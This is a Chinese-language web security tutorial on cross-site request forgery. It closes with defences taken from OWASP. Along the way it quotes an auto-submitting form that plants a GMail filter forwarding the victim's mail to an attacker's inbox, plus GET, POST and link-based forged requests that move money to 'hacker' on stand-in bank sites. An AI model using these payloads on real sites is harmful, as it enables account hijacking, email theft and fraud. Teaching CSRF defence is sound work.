【WEB安全】：CSRF
I am going to show you how someone can remotely install a simple, persistent filter within a GMail account and download all previous as well as snoop onto all future email conversations.
The following sequence of screenshots describes how the attack works.
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="evilinbox@mailinator.com"/>
<input type="hidden" name="cf1_from" value=""/>
<input type="hidden" name="cf1_to" value=""/>
<input type="hidden" name="cf1_subj" value=""/>
<input type="hidden" name="cf1_has" value=""/>
<input type="hidden" name="cf1_hasnot" value=""/>
<input type="hidden" name="cf1_attach" value="true"/>
<input type="hidden" name="tfi" value=""/>
<input type="hidden" name="s" value="z"/>
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>The victim visits a malicious page while being logged into GMail. Upon that, the page performs a multipart/form-data POST to one of the GMail alternative interfaces and injects a filter into the victim's filter list. In the example above, the attacker writes a filter, which simply looks for emails with attachments and forward them to an email of their choice. This filter will automatically transfer all emails matching the rule. Keep in mind that future emails will be forwarded as well. The attack will remain present for as long as the victim has the filter within their filter list, even if the initial vulnerability, which was the cause of the injection, is fixed by Google.
The technique used in this example is known as Cross-site request forgery, or simply CSRF.
2. 什么是 CSRF？
CSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。
一个典型的CSRF攻击有着如下的流程：
- 受害者登录a.com，并保留了登录凭证（Cookie）。
- 攻击者引诱受害者访问了b.com。
- b.com 向 a.com 发送了一个请求：a.com/act=xx。浏览器会默认携带a.com的Cookie。
- a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让a.com执行了自己定义的操作。
3. 常见的 CSRF 攻击类型
CSRF 攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点，从而在并未授权的情况下执行在权限保护之下的操作。比如说，受害者 xiaoming 在银行有一笔存款，通过对银行的网站发送请求 http://bank.example/withdraw?account=xiaoming&amount=1000000&for=Bob 可以使 xiaoming 把 1000000 的存款转到 Bob 的账号下。通常情况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，并且该 session 的用户 xiaoming 已经成功登陆。黑客 hacker 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。hacker 可以自己发送一个请求给银行：http://bank.example/withdraw?account=xiaoming&amount=1000000&for=hacker。但是这个请求来自 hacker 而非 xiaoming，他不能通过安全认证，因此该请求不会起作用。这时，Mallory 想到使用 CSRF 的攻击方式，他先自己做一个网站，在网站中放入如下代码：src=”http://bank.example/withdraw?account=xiaoming&amount=1000000&for=hacker"，并且通过广告等诱使 xiaoming 来访问他的网站。当 xiaoming 访问该网站时，上述 url 就会从 xiaoming 的浏览器发向银行，而这个请求会附带 xiaoming 浏览器中的 cookie 一起发向银行服务器。大多数情况下，该请求会失败，因为他要求 xiaoming 的认证信息。但是，如果 xiaoming 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的 cookie 之中含有 xiaoming 的认证信息。这时，悲剧发生了，这个 url 请求就会得到响应，钱将从 xiaoming 的账号转移到 hacker 的账号，而 xiaoming 当时毫不知情。等以后 xiaoming 发现账户钱少了，即使他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 hacker 则可以拿到钱后逍遥法外。
3.1. GET型CSRF
GET 类型的 CSRF 利用非常简单，只需要一个HTTP请求，一般会这样利用：
<img src="http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker"/>在受害者访问含有这个 img 的页面后，bank.example 就会收到包含受害者登录信息的一次跨域请求。
3.2. POST型CSRF
这种类型的CSRF利用起来通常使用的是一个自动提交的表单，如：
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。
3.3. 链接类型的CSRF
链接类型的CSRF并不常见，比起其他两种用户打开页面就中招的情况，这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接，或者以广告的形式诱导用户中招，攻击者通常会以比较夸张的词语诱骗用户点击，例如：
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">重磅消息！！<a/>4. CSRF 攻击的对象
在讨论如何抵御 CSRF 之前，先要明确 CSRF 攻击的对象，也就是要保护的对象。从以上的例子可知，CSRF 攻击是黑客借助受害者的 cookie 骗取服务器的信任，但是黑客并不能拿到 cookie，也看不到 cookie 的内容。另外，对于服务器返回的结果，由于浏览器同源策略的限制，黑客也无法进行解析。因此，黑客无法从返回的结果中得到任何东西，他所能做的就是给服务器发送请求，以执行请求中所描述的命令，在服务器端直接改变数据的值，而非窃取服务器中的数据。所以，我们要保护的对象是那些可以直接产生数据改变的服务，而对于读取数据的服务，则不需要进行 CSRF 的保护。比如银行系统中转账的请求会直接改变账户的金额，会遭到 CSRF 攻击，需要保护。而查询余额是对金额的读取操作，不会改变数据，CSRF 攻击无法解析服务器返回的结果，无需保护。
5. CSRF 攻击的特点
- 攻击一般发起在第三方网站，而不是被攻击的网站。被攻击的网站无法防止攻击发生。
- 攻击利用受害者在被攻击网站的登录凭证，冒充受害者提交操作；而不是直接窃取数据。
- 整个过程攻击者并不能获取到受害者的登录凭证，仅仅是“冒用”。
- 跨站请求可以用各种方式：图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中，难以进行追踪。
CSRF通常是跨域的，因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能，比如可以发图和链接的论坛和评论区，攻击可以直接在本域下进行，而且这种攻击更加危险。
6. 防护策略
CSRF 通常从第三方网站发起，被攻击的网站无法防止攻击发生，只能通过增强自己网站针对 CSRF 的防护能力来提升安全性。
针对 CSRF 攻击的两个特点：
- CSRF（通常）发生在第三方域名。
- CSRF 攻击者不能获取到Cookie等信息，只是“冒用”。
我们可以制定如下防护策略：
- Check if your framework has built-in CSRF protection and use it
- If framework does not have built-in CSRF protection add CSRF tokens to all state changing requests (requests that cause actions on the site) and validate them on backend
- Always use SameSite Cookie Attribute for session cookies
- Implement at least one mitigation from Defense in Depth Mitigations section
- Use custom request headers
- Verify the origin with standard headers
- Use double submit cookies
- Consider implementing user interaction based protection for highly sensitive operations
- Remember that any Cross-Site Scripting (XSS) can be used to defeat all CSRF mitigation techniques!
- Do not use GET requests for state changing operations.
- If for any reason you do it, you have to also protect those resources against CSRF
参考：
Common CSRF Prevention Misconceptions： https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2017/september/common-csrf-prevention-misconceptions/ Cross-Site Request Forgery Prevention Cheat Sheet： https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html Using the Same-Site Cookie Attribute to Prevent CSRF Attacks： https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/ 前端安全系列（二）：如何防止CSRF攻击？ https://tech.meituan.com/2018/10/11/fe-security-csrf.html CSRF 攻击的应对之道： https://developer.ibm.com/zh/articles/1102-niugang-csrf/ Google GMail E-mail Hijack Technique： https://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/ Google’s Gmail security failure leaves my business sabotaged： https://www.davidairey.com/google-gmail-security-hijack/